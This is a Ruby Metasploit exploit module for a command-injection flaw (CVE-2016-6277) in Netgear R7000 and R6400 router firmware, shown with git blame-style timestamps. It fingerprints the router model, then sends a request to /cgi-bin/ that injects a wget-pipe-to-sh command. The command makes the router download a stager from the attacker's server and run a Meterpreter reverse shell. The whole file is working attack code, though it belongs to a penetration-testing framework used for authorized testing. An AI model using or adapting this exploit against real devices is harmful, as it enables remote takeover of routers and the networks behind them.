2017-02-16 03:33:48 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2017-03-01 08:09:50 +00:00
|
|
|
include Msf::Exploit::CmdStager
|
2017-02-16 03:33:48 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => "Netgear R7000 and R6400 cgi-bin Command Injection",
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits an arbitrary command injection vulnerability in
|
|
|
|
Netgear R7000 and R6400 router firmware version 1.0.7.2_1.1.93 and possibly earlier.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
2017-03-01 08:09:50 +00:00
|
|
|
'Platform' => 'linux',
|
2017-02-16 03:33:48 +00:00
|
|
|
'Author' => ['thecarterb', 'Acew0rm'],
|
|
|
|
'DefaultTarget' => 0,
|
2017-03-01 08:09:50 +00:00
|
|
|
'Privileged' => true,
|
|
|
|
'Arch' => ARCH_ARMLE,
|
2017-02-16 03:33:48 +00:00
|
|
|
'Targets' => [
|
|
|
|
[ 'Automatic Target', { } ]
|
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'EDB', '40889'],
|
|
|
|
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=305'],
|
|
|
|
[ 'URL', 'https://www.kb.cert.org/vuls/id/582384'],
|
|
|
|
[ 'URL', 'http://kb.netgear.com/000036386/CVE-2016-582384'],
|
|
|
|
[ 'CVE', '2016-6277']
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Dec 06 2016',
|
2017-03-01 08:09:50 +00:00
|
|
|
'DefaultOptions' =>
|
2017-02-16 03:33:48 +00:00
|
|
|
{
|
2017-04-26 22:55:10 +00:00
|
|
|
'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp'
|
2017-03-01 08:09:50 +00:00
|
|
|
}
|
2017-02-16 03:33:48 +00:00
|
|
|
))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(80)
|
2017-04-26 22:55:10 +00:00
|
|
|
])
|
2017-03-01 08:09:50 +00:00
|
|
|
|
|
|
|
deregister_options('URIPATH')
|
|
|
|
end
|
2017-02-16 03:33:48 +00:00
|
|
|
|
|
|
|
def scrape(text, start_trig, end_trig)
|
|
|
|
text[/#{start_trig}(.*?)#{end_trig}/m, 1]
|
|
|
|
end
|
2017-02-16 03:39:16 +00:00
|
|
|
|
2017-02-16 03:33:48 +00:00
|
|
|
# Requests the login page which discloses the hardware, if it's an R7000 or R6400, return Detected
|
|
|
|
def check
|
|
|
|
res = send_request_cgi({'uri'=>'/'})
|
|
|
|
if res.nil?
|
|
|
|
fail_with(Failure::Unreachable, 'Connection timed out.')
|
|
|
|
end
|
|
|
|
# Checks for the `WWW-Authenticate` header in the response
|
|
|
|
if res.headers["WWW-Authenticate"]
|
|
|
|
data = res.to_s
|
2017-02-16 13:38:06 +00:00
|
|
|
marker_one = "Basic realm=\"NETGEAR "
|
2017-02-16 03:33:48 +00:00
|
|
|
marker_two = "\""
|
|
|
|
model = scrape(data, marker_one, marker_two)
|
|
|
|
vprint_status("Router is a NETGEAR router (#{model})")
|
2017-02-16 13:38:06 +00:00
|
|
|
if model == 'R7000' || model == 'R6400'
|
|
|
|
print_good("Router may be vulnerable (NETGEAR #{model})")
|
2017-02-16 03:33:48 +00:00
|
|
|
return CheckCode::Detected
|
|
|
|
else
|
|
|
|
return CheckCode::Safe
|
|
|
|
end
|
|
|
|
else
|
|
|
|
print_error('Router is not a NETGEAR router')
|
|
|
|
return CheckCode::Safe
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
2017-03-01 08:09:50 +00:00
|
|
|
return if check == CheckCode::Safe
|
2017-02-18 05:34:49 +00:00
|
|
|
|
2017-03-09 08:53:39 +00:00
|
|
|
@cmdstager = generate_cmdstager(flavor: :wget, 'Path' => '/').join(';')
|
2017-02-16 03:33:48 +00:00
|
|
|
|
2017-03-01 08:09:50 +00:00
|
|
|
send_request_cgi(
|
|
|
|
'method' => 'GET',
|
|
|
|
'uri' => "/cgi-bin/;wget$IFS-O-$IFS'#{srvhost_addr}:#{srvport}'|sh"
|
|
|
|
)
|
|
|
|
end
|
2017-02-16 03:33:48 +00:00
|
|
|
|
2017-03-01 08:09:50 +00:00
|
|
|
# Return CmdStager on first request, payload on second
|
|
|
|
def on_request_uri(cli, request)
|
|
|
|
if @cmdstager
|
|
|
|
send_response(cli, @cmdstager)
|
|
|
|
@cmdstager = nil
|
|
|
|
else
|
|
|
|
super
|
|
|
|
end
|
|
|
|
end
|
2017-02-16 03:33:48 +00:00
|
|
|
end
|